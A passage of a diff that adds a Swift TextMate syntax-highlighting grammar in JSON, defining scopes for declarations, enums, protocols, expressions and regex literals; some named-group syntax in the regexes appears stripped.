"1": { + "name": "punctuation.definition.parameters.end.swift" + }, + "2": { + "name": "storage.modifier.async.swift" + } + }, + "patterns": [ + { + "include": "#declarations-parameter-list" + } + ] + }, + "declarations-parameter-list": { + "patterns": [ + { + "comment": "External parameter labels are considered part of the function name", + "match": "((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))(?=\\s*:)", + "captures": { + "1": { + "name": "entity.name.function.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "variable.parameter.function.swift" + }, + "5": { + "name": "punctuation.definition.identifier.swift" + }, + "6": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + { + "comment": "If no external label is given, the name is both the external label and the internal variable name", + "match": "(((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)))(?=\\s*:)", + "captures": { + "1": { + "name": "variable.parameter.function.swift" + }, + "2": { + "name": "entity.name.function.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + { + "begin": ":\\s*(?!\\s)", + "end": "(?=[,)])", + "patterns": [ + { + "include": "#declarations-available-types" + }, + { + "name": "invalid.illegal.extra-colon-in-parameter-list.swift", + "match": ":" + }, + { + "comment": "a parameter's default value", + "begin": "=", + "end": "(?=[,)])", + "beginCaptures": { + "0": { + "name": "keyword.operator.assignment.swift" + } + }, + "patterns": [ + { + "include": "#expressions" + } + ] + } + ] + } + ] + }, + "declarations-precedencegroup": { + "name": "meta.definition.precedencegroup.swift", + "begin": "\\b(precedencegroup)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*(?=\\{)", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "storage.type.precedencegroup.swift" + }, + "2": { + "name": "entity.name.type.precedencegroup.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.definition.precedencegroup.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.precedencegroup.end.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "match": "\\b(higherThan|lowerThan)\\s*:\\s*((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "captures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "entity.other.inherited-class.swift", + "patterns": [ + { + "include": "#declarations-types-precedencegroup" + } + ] + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + { + "match": "\\b(associativity)\\b(?:\\s*:\\s*(right|left|none)\\b)?", + "captures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "keyword.other.operator.associativity.swift" + } + } + }, + { + "match": "\\b(assignment)\\b(?:\\s*:\\s*(true|false)\\b)?", + "captures": { + "1": { + "name": "storage.modifier.swift" + }, + "2": { + "name": "constant.language.boolean.swift" + } + } + } + ] + } + ] + }, + "declarations-protocol": { + "name": "meta.definition.type.protocol.swift", + "begin": "\\b(protocol)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "end": "(?<=\\})", + "beginCaptures": { + "1": { + "name": "storage.type.$1.swift" + }, + "2": { + "name": "entity.name.type.$1.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-inheritance-clause" + }, + { + "comment": "SE-0142: Permit where clauses to constrain associated types", + "include": "#declarations-generic-where-clause" + }, + { + "name": "meta.definition.type.body.swift", + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.definition.type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.type.end.swift" + } + }, + "patterns": [ + { + "include": "#declarations-protocol-protocol-method" + }, + { + "include": "#declarations-protocol-protocol-initializer" + }, + { + "include": "#declarations-protocol-associated-type" + }, + { + "include": "$self" + } + ] + } + ] + }, + "declarations-protocol-associated-type": { + "name": "meta.definition.associatedtype.swift", + "begin": "\\b(associatedtype)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*", + "end": "(?!\\G)$|(?=[;}]|$)", + "beginCaptures": { + "1": { + "name": "keyword.other.declaration-specifier.swift" + }, + "2": { + "name": "variable.language.associatedtype.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#declarations-inheritance-clause" + }, + { + "comment": "SE-0142: Permit where clauses to constrain associated types", + "include": "#declarations-generic-where-clause" + }, + { + "include": "#declarations-typealias-assignment" + } + ] + }, + "declarations-protocol-protocol-initializer": { + "name": "meta.definition.function.initializer.swift", + "begin": "(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)\n | (?:\n (\n (? # operator-head\n [/=\\-+!*%<>&|^~?]\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n )\n (\n \\g\n | (? # operator-character\n [\\x{0300}-\\x{036F}]\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n )*\n )\n | ( \\. ( \\g | \\g | \\. )+ ) # Dot operators\n )\n )\n\\s*\n(?=\\(|<)", + "end": "$|(?=;|//|/\\*|\\})", + "beginCaptures": { + "1": { + "name": "storage.type.function.swift" + }, + "2": { + "name": "entity.name.function.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-parameter-clause" + }, + { + "include": "#declarations-parameter-clause" + }, + { + "include": "#declarations-function-result" + }, + { + "include": "#async-throws" + }, + { + "comment": "Swift 3: generic constraints after the parameters and return type", + "include": "#declarations-generic-where-clause" + }, + { + "name": "invalid.illegal.function-body-not-allowed-in-protocol.swift", + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.section.function.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.function.end.swift" + } + }, + "patterns": [ + { + "include": "$self" + } + ] + } + ] + }, + "declarations-type": { + "patterns": [ + { + "name": "meta.definition.type.$1.swift", + "begin": "\\b(class(?!\\s+(?:func|var|let)\\b)|struct|actor)\\b\\s*((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "end": "(?<=\\})", + "beginCaptures": { + "1": { + "name": "storage.type.$1.swift" + }, + "2": { + "name": "entity.name.type.$1.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-parameter-clause" + }, + { + "comment": "Swift 3: generic constraints after the generic param list", + "include": "#declarations-generic-where-clause" + }, + { + "include": "#declarations-inheritance-clause" + }, + { + "name": "meta.definition.type.body.swift", + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.definition.type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.type.end.swift" + } + }, + "patterns": [ + { + "include": "$self" + } + ] + } + ] + }, + { + "include": "#declarations-type-enum" + } + ] + }, + "declarations-type-enum": { + "name": "meta.definition.type.$1.swift", + "begin": "\\b(enum)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "end": "(?<=\\})", + "beginCaptures": { + "1": { + "name": "storage.type.$1.swift" + }, + "2": { + "name": "entity.name.type.$1.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-generic-parameter-clause" + }, + { + "comment": "Swift 3: generic constraints after the generic param list", + "include": "#declarations-generic-where-clause" + }, + { + "include": "#declarations-inheritance-clause" + }, + { + "name": "meta.definition.type.body.swift", + "begin": "\\{", + "end": "\\}", + "beginCaptures": { + "0": { + "name": "punctuation.definition.type.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.type.end.swift" + } + }, + "patterns": [ + { + "include": "#declarations-type-enum-enum-case-clause" + }, + { + "include": "$self" + } + ] + } + ] + }, + "declarations-type-enum-associated-values": { + "begin": "\\G\\(", + "end": "\\)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.parameters.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.parameters.end.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "begin": "(?x)\n(?:(_)|((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*\\k))\n\\s+\n(((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*\\k))\n\\s*(:)", + "end": "(?=[,)\\]])", + "beginCaptures": { + "1": { + "name": "entity.name.function.swift" + }, + "2": { + "name": "invalid.illegal.distinct-labels-not-allowed.swift" + }, + "5": { + "name": "variable.parameter.function.swift" + }, + "7": { + "name": "punctuation.separator.argument-label.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + { + "begin": "(((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*\\k))\\s*(:)", + "end": "(?=[,)\\]])", + "beginCaptures": { + "1": { + "name": "entity.name.function.swift" + }, + "2": { + "name": "variable.parameter.function.swift" + }, + "4": { + "name": "punctuation.separator.argument-label.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + { + "comment": "an element without a label (i.e. anything else)", + "begin": "(?![,)\\]])(?=\\S)", + "end": "(?=[,)\\]])", + "patterns": [ + { + "include": "#declarations-available-types" + }, + { + "name": "invalid.illegal.extra-colon-in-parameter-list.swift", + "match": ":" + } + ] + } + ] + }, + "declarations-type-enum-enum-case": { + "begin": "(?x)((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*", + "end": "(?<=\\))|(?![=(])", + "beginCaptures": { + "1": { + "name": "variable.other.enummember.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-type-enum-associated-values" + }, + { + "include": "#declarations-type-enum-raw-value-assignment" + } + ] + }, + "declarations-type-enum-enum-case-clause": { + "begin": "\\b(case)\\b\\s*", + "end": "(?=[;}])|(?!\\G)(?!//|/\\*)(?=[^\\s,])", + "beginCaptures": { + "1": { + "name": "storage.type.enum.case.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-type-enum-enum-case" + }, + { + "include": "#declarations-type-enum-more-cases" + } + ] + }, + "declarations-type-enum-more-cases": { + "name": "meta.enum-case.more-cases", + "begin": ",\\s*", + "end": "(?!\\G)(?!//|/\\*)(?=[;}]|[^\\s,])", + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#declarations-type-enum-enum-case" + }, + { + "include": "#declarations-type-enum-more-cases" + } + ] + }, + "declarations-type-enum-raw-value-assignment": { + "begin": "(=)\\s*", + "end": "(?!\\G)", + "beginCaptures": { + "1": { + "name": "keyword.operator.assignment.swift" + } + }, + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#literals" + } + ] + }, + "declarations-type-identifier": { + "begin": "((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*", + "end": "(?!<)", + "beginCaptures": { + "1": { + "name": "meta.type-name.swift", + "patterns": [ + { + "include": "#builtin-types" + } + ] + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "begin": "(?=<)", + "end": "(?!\\G)", + "patterns": [ + { + "include": "#declarations-generic-argument-clause" + } + ] + } + ] + }, + "declarations-type-operators": { + "patterns": [ + { + "comment": "Swift 3: A & B", + "match": "(?&|\\^~.])(&)(?![/=\\-+!*%<>&|\\^~.])", + "captures": { + "1": { + "name": "keyword.operator.type.composition.swift" + } + } + }, + { + "comment": "SE-0390: Noncopyable structs and enums", + "match": "(?&|\\^~.])(~)(?![/=\\-+!*%<>&|\\^~.])", + "captures": { + "1": { + "name": "keyword.operator.type.requirement-suppression.swift" + } + } + } + ] + }, + "declarations-typealias": { + "name": "meta.definition.typealias.swift", + "begin": "\\b(typealias)\\s+((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*", + "end": "(?!\\G)$|(?=;|//|/\\*|$)", + "beginCaptures": { + "1": { + "name": "keyword.other.declaration-specifier.swift" + }, + "2": { + "name": "entity.name.type.typealias.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.identifier.swift" + } + }, + "patterns": [ + { + "begin": "\\G(?=<)", + "end": "(?!\\G)", + "patterns": [ + { + "include": "#declarations-generic-parameter-clause" + } + ] + }, + { + "include": "#declarations-typealias-assignment" + } + ] + }, + "declarations-typealias-assignment": { + "begin": "(=)\\s*", + "end": "(?!\\G)$|(?=;|//|/\\*|$)", + "beginCaptures": { + "1": { + "name": "keyword.operator.assignment.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "declarations-typed-variable-declaration": { + "begin": "(?x)\n\\b(?:(async)\\s+)?(let|var)\\b\\s+\n(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)\\s*\n:", + "end": "(?=$|[={])", + "beginCaptures": { + "1": { + "name": "storage.modifier.async.swift" + }, + "2": { + "name": "keyword.other.declaration-specifier.swift" + } + }, + "patterns": [ + { + "include": "#declarations-available-types" + } + ] + }, + "declarations-types-precedencegroup": { + "patterns": [ + { + "comment": "Precedence groups in the standard library", + "name": "support.type.swift", + "match": "\\b(?:BitwiseShift|Assignment|RangeFormation|Casting|Addition|NilCoalescing|Comparison|LogicalConjunction|LogicalDisjunction|Default|Ternary|Multiplication|FunctionArrow)Precedence\\b" + } + ] + }, + "expressions": { + "comment": "trailing closures need to be parsed before other member references", + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references" + }, + { + "include": "#expressions-trailing-closure" + }, + { + "include": "#member-reference" + } + ] + }, + "expressions-trailing-closure": { + "patterns": [ + { + "comment": "foo { body } -- a call with a trailing closure and no argument clause", + "name": "meta.function-call.trailing-closure-only.swift", + "match": "(#?(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))(?=\\s*\\{)", + "captures": { + "1": { + "name": "support.function.any-method.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + } + } + }, + { + "comment": "foo: { body } -- labeled-trailing-closure (SE-0279)", + "match": "((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*(:)(?=\\s*\\{)", + "captures": { + "1": { + "name": "support.function.any-method.trailing-closure-label.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.separator.argument-label.swift" + } + } + } + ] + }, + "expressions-without-trailing-closures": { + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references" + }, + { + "include": "#member-references" + } + ] + }, + "expressions-without-trailing-closures-or-member-references": { + "patterns": [ + { + "include": "#comments" + }, + { + "include": "#code-block" + }, + { + "include": "#attributes" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-closure-parameter" + }, + { + "include": "#literals" + }, + { + "include": "#operators" + }, + { + "include": "#builtin-types" + }, + { + "include": "#builtin-functions" + }, + { + "include": "#builtin-global-functions" + }, + { + "include": "#builtin-properties" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-compound-name" + }, + { + "include": "#conditionals" + }, + { + "include": "#keywords" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-availability-condition" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-function-or-macro-call-expression" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-macro-expansion" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-subscript-expression" + }, + { + "include": "#expressions-without-trailing-closures-or-member-references-parenthesized-expression" + }, + { + "name": "support.variable.discard-value.swift", + "match": "\\b_\\b" + } + ] + }, + "expressions-without-trailing-closures-or-member-references-availability-condition": { + "begin": "\\B(#(?:un)?available)(\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "support.function.availability-condition.swift" + }, + "2": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "match": "\\s*\\b((?:iOS|macOS|OSX|watchOS|tvOS|visionOS|UIKitForMac)(?:ApplicationExtension)?)\\b(?:\\s+([0-9]+(?:\\.[0-9]+)*\\b))", + "captures": { + "1": { + "name": "keyword.other.platform.os.swift" + }, + "2": { + "name": "constant.numeric.swift" + } + } + }, + { + "match": "(\\*)\\s*(.*?)(?=[,)])", + "captures": { + "1": { + "name": "keyword.other.platform.all.swift" + }, + "2": { + "name": "invalid.illegal.character-not-allowed-here.swift" + } + } + }, + { + "name": "invalid.illegal.character-not-allowed-here.swift", + "match": "[^\\s,)]+" + } + ] + }, + "expressions-without-trailing-closures-or-member-references-closure-parameter": { + "name": "variable.language.closure-parameter.swift", + "match": "\\$[0-9]+" + }, + "expressions-without-trailing-closures-or-member-references-compound-name": { + "comment": "a reference to a function with disambiguating argument labels, such as foo(_:), foo(bar:), etc.", + "match": "(?x)\n((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)) # function name\n\\(\n (\n (\n ((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k)) # argument label\n : # colon\n )+\n )\n\\)", + "captures": { + "1": { + "name": "entity.name.function.compound-name.swift" + }, + "2": { + "name": "punctuation.definition.entity.swift" + }, + "3": { + "name": "punctuation.definition.entity.swift" + }, + "4": { + "patterns": [ + { + "name": "entity.name.function.compound-name.swift", + "match": "(?`?)(?!_:)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k):", + "captures": { + "1": { + "name": "punctuation.definition.entity.swift" + }, + "2": { + "name": "punctuation.definition.entity.swift" + } + } + } + ] + } + } + }, + "expressions-without-trailing-closures-or-member-references-expression-element-list": { + "patterns": [ + { + "include": "#comments" + }, + { + "comment": "an element with a label", + "begin": "((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*(:)", + "end": "(?=[,)\\]])", + "beginCaptures": { + "1": { + "name": "support.function.any-method.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.separator.argument-label.swift" + } + }, + "patterns": [ + { + "include": "#expressions" + } + ] + }, + { + "comment": "an element without a label (i.e. anything else)", + "begin": "(?![,)\\]])(?=\\S)", + "end": "(?=[,)\\]])", + "patterns": [ + { + "include": "#expressions" + } + ] + } + ] + }, + "expressions-without-trailing-closures-or-member-references-function-or-macro-call-expression": { + "patterns": [ + { + "comment": "foo(args) -- a call whose callee is a highlightable name", + "name": "meta.function-call.swift", + "begin": "(#?(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))\\s*(\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "support.function.any-method.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + }, + "4": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references-expression-element-list" + } + ] + }, + { + "comment": "[Int](args) -- a call whose callee is a more complicated expression", + "name": "meta.function-call.swift", + "begin": "(?<=[`\\])}>\\p{L}_\\p{N}\\p{M}])\\s*(\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references-expression-element-list" + } + ] + } + ] + }, + "expressions-without-trailing-closures-or-member-references-macro-expansion": { + "name": "support.function.any-method.swift", + "match": "(#(?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))" + }, + "expressions-without-trailing-closures-or-member-references-parenthesized-expression": { + "comment": "correctly matching closure expressions is too hard (depends on trailing \"in\") so we just tack on some basics to the end of parenthesized-expression", + "begin": "\\(", + "end": "(\\))\\s*((?:\\b(?:async|throws|rethrows)\\s)*)", + "beginCaptures": { + "0": { + "name": "punctuation.section.tuple.begin.swift" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.section.tuple.end.swift" + }, + "2": { + "patterns": [ + { + "name": "invalid.illegal.rethrows-only-allowed-on-function-declarations.swift", + "match": "\\brethrows\\b" + }, + { + "include": "#async-throws" + } + ] + } + }, + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references-expression-element-list" + } + ] + }, + "expressions-without-trailing-closures-or-member-references-subscript-expression": { + "name": "meta.subscript-expression.swift", + "begin": "(?<=[`\\p{L}_\\p{N}\\p{M}])\\s*(\\[)", + "end": "\\]", + "beginCaptures": { + "1": { + "name": "punctuation.definition.arguments.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.arguments.end.swift" + } + }, + "patterns": [ + { + "include": "#expressions-without-trailing-closures-or-member-references-expression-element-list" + } + ] + }, + "keywords": { + "patterns": [ + { + "name": "keyword.control.branch.swift", + "match": "(?\n (?> # no backtracking, avoids issues with negative lookbehind at end\n (?:\n \\\\Q\n (?:(?!\\\\E)(?!/\\2).)*+\n (?:\\\\E\n # A quoted sequence may not have a closing E, in which case it extends to the end of the regex\n | (?(3)|(?(\\{(?:\\g<-1>|(?!{).*?)\\}))\n (?:\\[(?!\\d)\\w+\\])?\n [X<>]?\n \\)\n | (?\\[ (?:\\\\. | [^\\[\\]] | \\g)+ \\])\n | \\(\\g?+\\)\n | (?:(?!/\\2)[^()\\[\\\\])+ # any character (until end)\n )+\n )\n)?+\n# may end with a space only if it is an extended literal or contains only a single escaped space\n(?(3)|(?(5)(?'\n '\\g<' NamedOrNumberRef '>'", + "match": "(?x)(\\\\[gk]<) (?: ((?!\\d)\\w+) (?:([+-])(\\d+))? | ([+-]?\\d+) (?:([+-])(\\d+))? ) (>)", + "captures": { + "1": { + "name": "constant.character.escape.backslash.regexp" + }, + "2": { + "name": "variable.other.group-name.regexp" + }, + "3": { + "name": "keyword.operator.recursion-level.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "6": { + "name": "keyword.operator.recursion-level.regexp" + }, + "7": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "8": { + "name": "constant.character.escape.backslash.regexp" + } + } + }, + { + "comment": "\"\\k'\" NamedOrNumberRef \"'\"\n \"\\g'\" NamedOrNumberRef \"'\"", + "match": "(?x)(\\\\[gk]') (?: ((?!\\d)\\w+) (?:([+-])(\\d+))? | ([+-]?\\d+) (?:([+-])(\\d+))? ) (')", + "captures": { + "1": { + "name": "constant.character.escape.backslash.regexp" + }, + "2": { + "name": "variable.other.group-name.regexp" + }, + "3": { + "name": "keyword.operator.recursion-level.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "6": { + "name": "keyword.operator.recursion-level.regexp" + }, + "7": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "8": { + "name": "constant.character.escape.backslash.regexp" + } + } + }, + { + "comment": "'\\k{' NamedRef '}'", + "match": "(?x)(\\\\k\\{) ((?!\\d)\\w+) (?:([+-])(\\d+))? (\\})", + "captures": { + "1": { + "name": "constant.character.escape.backslash.regexp" + }, + "2": { + "name": "variable.other.group-name.regexp" + }, + "3": { + "name": "keyword.operator.recursion-level.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "constant.character.escape.backslash.regexp" + } + } + }, + { + "name": "keyword.other.back-reference.regexp", + "match": "\\\\[1-9][0-9]+" + }, + { + "comment": "'(?P=' NamedRef ')'", + "match": "(?x)(\\(\\?(?:P[=>]|&)) ((?!\\d)\\w+) (?:([+-])(\\d+))? (\\))", + "captures": { + "1": { + "name": "keyword.other.back-reference.regexp" + }, + "2": { + "name": "variable.other.group-name.regexp" + }, + "3": { + "name": "keyword.operator.recursion-level.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "keyword.other.back-reference.regexp" + } + } + }, + { + "name": "keyword.other.back-reference.regexp", + "match": "\\(\\?R\\)" + }, + { + "comment": "'(?' NumberRef ')'", + "match": "(?x)(\\(\\?) ([+-]?\\d+) (?:([+-])(\\d+))? (\\))", + "captures": { + "1": { + "name": "keyword.other.back-reference.regexp" + }, + "2": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "3": { + "name": "keyword.operator.recursion-level.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "keyword.other.back-reference.regexp" + } + } + } + ] + }, + "literals-regular-expression-literal-backtracking-directive-or-global-matching-option": { + "match": "(?x)\n(\\(\\*)\n(?:\n (ACCEPT|FAIL|F|MARK(?=:)|(?=:)|COMMIT|PRUNE|SKIP|THEN)\n (?:(:)([^)]+))?\n | (?:(LIMIT_(?:DEPTH|HEAP|MATCH))(=)(\\d+))\n | (\n CRLF | CR | ANYCRLF | ANY | LF | NUL\n | BSR_ANYCRLF | BSR_UNICODE\n | NOTEMPTY_ATSTART | NOTEMPTY\n | NO_AUTO_POSSESS | NO_DOTSTAR_ANCHOR\n | NO_JIT | NO_START_OPT | UTF | UCP\n )\n)\n(\\))", + "captures": { + "1": { + "name": "keyword.control.directive.regexp" + }, + "2": { + "name": "keyword.control.directive.regexp" + }, + "3": { + "name": "keyword.control.directive.regexp" + }, + "4": { + "name": "variable.language.tag.regexp" + }, + "5": { + "name": "keyword.control.directive.regexp" + }, + "6": { + "name": "keyword.operator.assignment.regexp" + }, + "7": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "8": { + "name": "keyword.control.directive.regexp" + }, + "9": { + "name": "keyword.control.directive.regexp" + } + } + }, + "literals-regular-expression-literal-callout": { + "name": "meta.callout.regexp", + "match": "(?x)\n# PCRECallout\n(\\()(?\\?C)\n (?:\n (?\\d+)\n | `(?(?:[^`]|``)*)`\n | '(?(?:[^']|'')*)'\n | \"(?(?:[^\"]|\"\")*)\"\n | \\^(?(?:[^\\^]|\\^\\^)*)\\^\n | %(?(?:[^%]|%%)*)%\n | \\#(?(?:[^#]|\\#\\#)*)\\#\n | \\$(?(?:[^$]|\\$\\$)*)\\$\n | \\{(?(?:[^}]|\\}\\})*)\\}\n )?\n(\\))\n# NamedCallout\n| (\\()(?\\*)\n (?(?!\\d)\\w+)\n (?:\\[(?(?!\\d)\\w+)\\])?\n (?:\\{ [^,}]+ (?:,[^,}]+)* \\})?\n (\\))\n# InterpolatedCallout\n| (\\()(?\\?)\n (?>(\\{(?:\\g<-1>|(?!{).*?)\\}))\n (?:\\[(?(?!\\d)\\w+)\\])?\n (?[X<>]?)\n (\\))", + "captures": { + "1": { + "name": "punctuation.definition.group.regexp" + }, + "2": { + "name": "keyword.control.callout.regexp" + }, + "3": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "4": { + "name": "entity.name.function.callout.regexp" + }, + "5": { + "name": "entity.name.function.callout.regexp" + }, + "6": { + "name": "entity.name.function.callout.regexp" + }, + "7": { + "name": "entity.name.function.callout.regexp" + }, + "8": { + "name": "entity.name.function.callout.regexp" + }, + "9": { + "name": "entity.name.function.callout.regexp" + }, + "10": { + "name": "entity.name.function.callout.regexp" + }, + "11": { + "name": "entity.name.function.callout.regexp" + }, + "12": { + "name": "punctuation.definition.group.regexp" + }, + "13": { + "name": "punctuation.definition.group.regexp" + }, + "14": { + "name": "keyword.control.callout.regexp" + }, + "15": { + "name": "entity.name.function.callout.regexp" + }, + "16": { + "name": "variable.language.tag-name.regexp" + }, + "17": { + "name": "punctuation.definition.group.regexp" + }, + "18": { + "name": "punctuation.definition.group.regexp" + }, + "19": { + "name": "keyword.control.callout.regexp" + }, + "21": { + "name": "variable.language.tag-name.regexp" + }, + "22": { + "name": "keyword.control.callout.regexp" + }, + "23": { + "name": "punctuation.definition.group.regexp" + } + } + }, + "literals-regular-expression-literal-character-properties": { + "name": "constant.other.character-class.set.regexp", + "match": 